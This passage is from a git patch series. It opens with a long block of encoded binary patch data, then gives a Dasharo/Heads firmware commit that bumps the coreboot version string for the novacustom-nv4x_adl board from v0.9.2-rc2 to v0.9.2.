z29Lf(1wvzyxhAAG4DiI80DhdW{||KYt>YqkS|-HEBSX5ZnSaG??`o0dBEw-SVj3E| zZgv&fTbt*t+y6ZhjiFQYDY}_+shOIS%bA%f>kLVUUr+IkY=dZz!6LP>FZV8(Lt5tI(w{)w7wV;9@MOo&>7xyw z@`d8(r7zYwHtn?z4cWCC{7q5y{?FWvw+hpSr3>HARIaTpAQZM|y$ow_RJ5<1>E|~| z-So+4x@as32>H3gdUsItcQ^U>cIj?vTh$xS_X>B!1w*|pzFUv*SPBkyb@TYzk-n#y zvLg}BH8*|J^k#y1FY6FCJo$HVtpO&t;ch7wd5vvO#SK>2za=j3Gjmw(5e}&OwD(0U zdTTC@6WvFw>^k8p_3fkUtUc0?np){(ojZMw)2f9k0_v^4_z#;)k%D4!hi{aFR{_R%a8)z*2jL zCb2uQCXJA`q<)Kg^qUhmm~0$mY(I@GPq+UOYCB@7ek~U+Hqd1u(^$^t1Gq2&^0fn9 zshGcR0#u&~o_)C+?r|!sQhM}Tjj(?+XWnV~l9BSg4*jb?Zw*RET&1EqOU#JjW}wSA zM|fX9o9bQaewZR9Y<0KF`j+2_GxtH3%=WWPK2iSqqkN%QzfuEFf!q%}rCRX2vQ7GM z5zeND<}^YUp+$hq(-;-#o#}~YRjM`1R&1`~)Re9;1>$BxFcWIqb{hs!$SRa$Ig9oL zZ%`SZiR7Z2Pj<1YH`%q&kFjv_oaPe5*FH9sAr1YtBXQfPETl*}!GGDCXD*Z2)8?QY zHzdb1=c?M`4UUbWpfr+ebHk)#!ui_^)wljFJPy_Bv!pBAu%B@iNnSmB8%CVSy=2@! zIDA&;LOZPk6Mq@)R(61<@vi*_Zr}H_sw!-8c7?~@jjkyyUH!*y{(t>Kj)B!hurm@f zulA^88Jlg}*V#<8jrnkez+*$hIwVr@FIdR_heWcy9^1(ZGUEmn|DqB$*i&G%sybQy zGKJ~c$sxQtKxz5PK{t@OyCt@R(C9%ga9-W~4)A$OuT+^JOec@m%SmU64&||l933j4 zu}jEkvWj*PU($YF)f-7##TH~8#FQAQ2`NrUn1^8_t5MmvE3(mYVP*5vTzx^;zHfuF z6ib|j$^0!lcS-HT){g9A_e7N<{qiXtK=0aJlZM8PQ$Nh%#l*Wk!{iGG)@<)rj}v13 z(wNii8fs%!pn|^ATg1r@%SEJq;0$kV;?X#udpHBS$A39ltNlbN2*sDFb7J-~(8Dnu zDjzPokR@h0!yBxNL+Mo?lm;jKC0A<+ow|Ro^?=xzDubVBv-eaQr7M-0a)BMOyMv?M ziEe594W=K1dd1xltfp7zuhGeCpXoECWps(4Mr%?nIV(zgnF^&y4&1Z%MadP6=8ed9 zQQ{_whhYvw!$zHcQnImpbC!A^q~QWD;-T$=4%@xF9?#(CI- zh6pKy34E^XTpY&CVdkH|TxwU*dgmFGE%#fcGmZL(_fgESY%Vw(EID`~4ULS9+EJ!g zxxY#Jq4ZM_M&g#B=^F7PI7+KNTE(8bWH^@seX9S)Li46-ADgky!r#cFRqlV#0neS2 zV5?};S&?pf?Qf2mfB1~>E#DGV^2%8=mpr+?)Ra@su(zS~x)>cJiAI?^a(ggd_+*cG zv>YNVVN^D{{I;=G(^zZto8$gnJH*F433@`#nKyFVr?seD^l5dZTr;nG zQ`=<4zBTm2qvEwK8A_R2M@e#7U+wr|{@eMZsTws&Z6af;zRuy2^J9D&|CS}bf5gaA zIFp+H-DKUffnoU+)ugic>dDw3YnpoRZXA-V=W+kU;A4}H?#ZlvWUTa|VY)$3qPyDw zDTtuY@0^X##h+~KQDeVI&035S9!bv(Gy#zJ$-Rl{ynLxRz#uKEvykCnWQ z?w?S*J-rUj2|BH|r5%&_!z8&RJ0JN(T4F`rknA^Rm-DUKKAuh|9un|`;(m*2{+rUM zx)!%<=v{v!JC%w~*gM#tP6<_m4go1yM_W$;NCYOYDJ zfGv28mDMY!7}jUJ5bUv0arw^hu(~K^N6A>s0E{)Kg^~gct6=$JcRF>veLAMB>2=4V zYd@LW#+~Xz6vv|`y2(k?FsbM*bfIF_P1UiYJ=?Fps6JZ-RbW|XM;uI_mtezv)(`P; ziA|iUX@oVCaQrhLb<^&*j>iVU zJR>ExPz*oK-S#eEL@?0Z0(rpFf8*;+Uj8pCcg)Sj%)cFRehve3bwB^ke7QMLBL10T zfw2v?+}OB$!4Y0pr#(YMaT8c`_jeh?Gek5)`ogw%lC<+6((&ks;L$2MnkMM34inP3 z{f5xHLMlf4YK=JV83@|jQ$OBO1V2`TX}JGU0u9NSsoWC`Bi7FE{CH&Ke9ozh>kbmJ z=@i-n{lR#~&i<`r%Lg^@jJGo$!#qd$)t^VJX0554HyncLQZvpxlo^lDZ@kE-35h4 zKSZ9*N^8ieD1YiOSnof!f>8vYv@#i|Z7(VjTDqLcw6+9ZYM`i$X)nH^8U=%U2kZBUdl#Ubel*1Ela7et_0&-G2yIS*$l^v82R(N zm+uY-Y5-s$SIMjtc6wG$A^i)xp?^NA`N1b|DMhRrR}9ZN9MQcdg&LB?BIH*b%Tvx1)XTywc>b>na?h-sl|N+FFXASv&se7*fg zce{>$6#KPe`_*z+{ITOu0nDdm)-@s9{6UQOXLeBuujg_LXECPKWgzgZr-w?;!awPU zD|gm^_af&Osl;^vY=Nmu(Uqa=i0^iR2;fk`xmw@Nx72mQP@gMz_QZ*z#h#H3%=vTF zceh*=DLHaCi;ksw`FBA>pFlI`Cy)B(=v`Hj{3)Vi_H!?>Q0xt?T~2YZ*7cW^$S1i_ zr_@~l=D=z+7w>kw`S!;t8FDx~$h*z-X;%mNMIKIyPT@yuL^hvk15dOWFPE8XI zQpjKQtGY}o!rR6V&xlmgUM})+%WX@&+uobWUxT{ zRx@;tV7)_gW(&inC3Js!Olfn#lE>X1s-L}haAknog4fzPjO?bfWV_e~YKT#3c~GN^{O4b?IFI=+|Db<4EXR4Y zG}#~Br5+C%5k|f)U(yFzfvl98=P+!Q3bBCOf;YG>58_?pXx*Uz4zpfML>gLiOo(lM zaZ@v8K3|YDz4v+KcF?KG+v9+?fiYYmCJOvt_(6N%ipDS~_o3t!@yyBjnwb*4nn?37 zQk#<5^oSbsp6!cDN(YxBDs6o(WlJgO8vbM~_G;6sNS;0x9!jEL;f{Vaq*Y?}TG;j( z+QVF+kar)PR}XnRm$sUr#m+gtbbsqiQ}P|g1^jVX8sw`t@8P*keWM+d{^rp7d1Z}d zUEE{Ifp+`1jWJ&DmKFofcv7v~AS&UE(4P-I^>ugI#7D%(B`PgmmEr4xc3MBVG%R|C zlWNycLT-XRFI<;z*1^4Erg~%Bo7tJmSrd3Z(_G;nFpyP&spzpFBi2l|{Gi^PpQCveL-g?ZSBzFztgM%#G8 z#YF=5tBYFv(JBDG_a*)*oeH8@^EvOtl~#OS@D@9H$K!< zextn$y~AGrr@8f`*69bokp^L+{Wl=Avi$cfPia!;On1dZl*?5We&2Qx%R3aYM5)1g zH}a*B_j^fG&bm*ziNbJ^Tg7=zP7RLDYtJG;PWef1ELSY{a%<4?r?_ovn+rv`h4WR1 z9=ezdWkMI(^L&!dGQEIoS38MSrNZrElN!`q`0Z!bSpme|an z^Ge>-2s9&t&0d}^8&Fs%aNj-M2kKPNOS#&l8o4^$c%Bf^*BKd6{_qNR)&5n͐x zILDKAz}IoZ95hGZ(g~a1Ic64Wv?IhoZNVOd~KS0-CV~-J*t}9ftZ%g1F?zVp#fb)NU5}*3)eblq+jdBpS}S^S&jD@^%h^0N1VrtCw+J8 z$0$#B=ITEB0UeXG&PB;6JVvcz7A*((areSbGkvu0Xtw;n1|u%~fHk2@WTtc-KYP|>I&;uHoYn>aeYR1`#?@l#TXg|8Wz09 ze%OfhW`mhRvRU8*ijV)p6 zCn(^#H48Vu=f3-iZ#+#oul#tf{t@(x-1tr2oDOodE&G{wO2he?ZX3n4MWMP8kUH{E zE@c1+@<j4CuFw741BFykEU1L*2@wVmC9AuZii(=z{J6 z8|E!FWpUAjn@`Ml<-K@A1~07%bNR;wK%p=v*tMMOg5+%9bapO-Tfp-BJN2Cv?OmG7 zzomSgWE`nRC1FtCv*UkYFAY*dnZ2| zmwDayRnhma&=H4sZa7ZGMkpgt!u?}d8&qS;-AMh8>VhTONnFCGs8#+MsR&Qf(Kk!B zg80iH=k-jHbgQSfV?g&LDHmdOd%9`ZT(2y5dF9YY@io}h9HI>3C+$n?rm%THLvkwR zAV0pP*LN@BK}T9&E9&H%kLE$G%dv?JFxIU-|3XXCYg3TlJ1c4%HiMyL#yD1I!0ZDyQ9iMH{L_50)aEhnt_>lM&` zih0fLa`xO|=|?0vF%LP3xsuyo4kZWIuuZbPQgpcPm4)lR2Bwe5lL0^pz}Z`jF-~`! z?od&&!07|rT~#h^YdqzZS>^a3_;S56qS2tCfwF4v7#Xwpz8VJ_@9to6zWG&W*tTn=fSE*~u-;M0q>MH1~i25MG-4yaJN%YPK``kqr&ZL71*d6Cr%W;52CaiVO24z7D07c8b8`1ksr zk7=29TjJI+LvTQXczRU4BvzN28z`u;-_FAia;vH$2;{fd1r4u!Fi#oRnF1B= zoh}a*^@|Y4ph1f(`EwhOy1m*~8iX*4qcnZW$;q{Nw+6iX{IIT67+rO$+c&J6nI z;<_utSn7s4wF4}x+tVJ;1ytNRuex{5zjJs9lwrwXtTUsXy-_u>UWp*4yPVh$QWbnr zZq*GrkAEU}1c5b7s$S#d_W(u=H}TczJ`P@gH^vW?zn_I7OWBzdN>y zf(?6|KD1SJ^0PXsTRpatihh&uo`nwvPC&D5F|zrO;HG%Q?6vmHMSGBb)uC)Bz5M#+ z+Gx&SR4IEUl9{H_KhfykqTv|!fiG!>>#y_EcxpO~M$;)zPu$Yzc@Nk+7jGdai7gfd zn8~zj#DxP8Nu*tP%Gk4hSl8N2sooZ2n$j?n)FUFRSLXiPI_vuMVpX;7sgX$sWlUE8 zIFD*aO?62B@IkwCZmf!W*9~sh2y9s$zAJCPO~6xQ?63GzKzbOFrf@O6r2Qhsfn};v zy?atK-miyH&m>u0 z-q`J*7a(ZK_ybbUMcTF;phnLQ;T`!4jfk>YC_(89LbJ`rc(i96ZLco-cAD;oilnM- ziR;8fB&e^dxr6M!B70p#x~E$Ph(*#9b!04*`lEZIz$D!EFs|X!C>T@esiCzPX~LbL zK@KIWe9-uOT1otMjeFO)YOXm+M>`hAU?;?oN|2TNXeKAvSa!lm>Y>C4>}&EdPQC!T zHd&vOb2|kmEJrHAC`PByuOS4!$Eko7io>vQDN~i?47nD^Xwv0brDnjdx&CxFMQ-aN zVIcvq7maFv3JRDx{>ua9vNu6MNc^my2>Kn=kUh(qt7uq23lyt4JAmS9k_INk9vQaJ z9xjz-^&I8q)J0dVJG)3AL(KcM1=gr`@pWNGy1VhqLNSkx=j+@|HPaV)6=mDB<-m0j zC!D=XjJ>=-HF@-#zAy!hu zo$Bd!{Q&Bgp^0N zg+}aO5tyFIfPiM#k!cJrt#Bt3HeIli@dOVvZyd+Bw|Q!a%M9ppY5t;`uu(1s>1(`T zldHL!@RgT$dQ#luK6<0gG_dYjYNMD3zEP7wdB_wE5TeK%T^UoYf1z&;*M4SmWn75a z74IsrBL#Jhw|#c-KCzV3Gxyc|Y~fVH^NY#@F@zXWv#1)L53C!W5#M=kY&r=Oz+o}! z#09h_8$n97U!n|6s)&fzk-i ziw=9S7qiFjfWgpsTPcYr@cip9w2ocJhSXXO)vRI2{x0~?adDXn8wqSk}`m`^`Z3xy6?Ghy*i3Q=^_rVPJo;OXek98sTrJ0_SIG1Nkt}lfCF!rjh zE6)Y*n%g7P z_9!LjeanQU@Fdc3(yGCcf_)i=m9Rj5b!S}NxW(gko7(#Vi4JmA|q1^AxK_G z2uFA7NG*lhK9-HO3-L3V}8Xe{?Q0nEmOuFE;2taBtaVCy!$5%mDRZ zea8HrbM15~+)#wWGg41N=6b|xAXq)qOcHx;^8hQDFY5;jkNVR6455mYPJ203<5In; zB9ct*0$P?)LOrzOkdivY>n9tQkkceI(l|7jgHD4J?twsXQmc8eLJ*)DkBK6I1MH5m zRNXWG2b)91_4l6*j-It~X?5{VHZ5;787qSE1*p$Eg>dpE`<{9xzBqbn^=u|@ibxPw zjpOHk+{TAykc1+k_-;L9Y<@j3`W}}DMg@!bvm!V+Y6d%4bQc_a7LCgA?vB*%{f$!y zrKG3Wd=p8PYlM{{?rW8EmekF}uD1@v3DMU-WEJGSN2avbs!XB=$iVyS+bt(F-mL9qZ+F?kBnN zuo{Z6N|kMoVESSlM!+KV%ib2zvqs6dj{Mu*uGu(LRzvqaPr0N4qlO%WMjrzDUH|0@ zn}|+QVO-v|)2A8jFza4zltI%8LH}(zPWU~zQPM5taxHsENa}9 zz==j{Y0RX~2u^0|g@lPGAih!8IZhMK+Rg7&yHvy#+z|9cXur8v9^Fc=E>Zh*3kzKv z67my?!K1Lkgpk&OdmuseaY$gdU|yprl*YOC`9w0AbA$`H!n#adpX&{GVL=IlRR<5N z#HzVts*P)_5_R2Dop001q#Zut2w2HCQ4%M-=Vp=L7}j-2?6a4()Xitx(|{=ohkpxF z8=B~`X!>x9Vh%Y3?ICg(;KNzf5D)s;diuo)NY@XRd zCL;4tzmbkWAlRaEmbm=`%DwOf|K@r5vh~lhmY|F1F|JC#*F}4c* Date: Wed, 21 May 2025 11:09:38 +0200 Subject: [PATCH 619/619] site-local/config: bump up to v0.9.2 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Filip Lewiński --- site-local/config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/site-local/config b/site-local/config index 059c26a39..674ecd9f8 100644 --- a/site-local/config +++ b/site-local/config @@ -2,6 +2,6 @@ BRAND_NAME=Dasharo ifeq "novacustom-nv4x_adl" "$(BOARD)" -export CONFIG_COREBOOT_LOCALVERSION="\(coreboot+heads\) v0.9.2-rc2" +export CONFIG_COREBOOT_LOCALVERSION="\(coreboot+heads\) v0.9.2" endif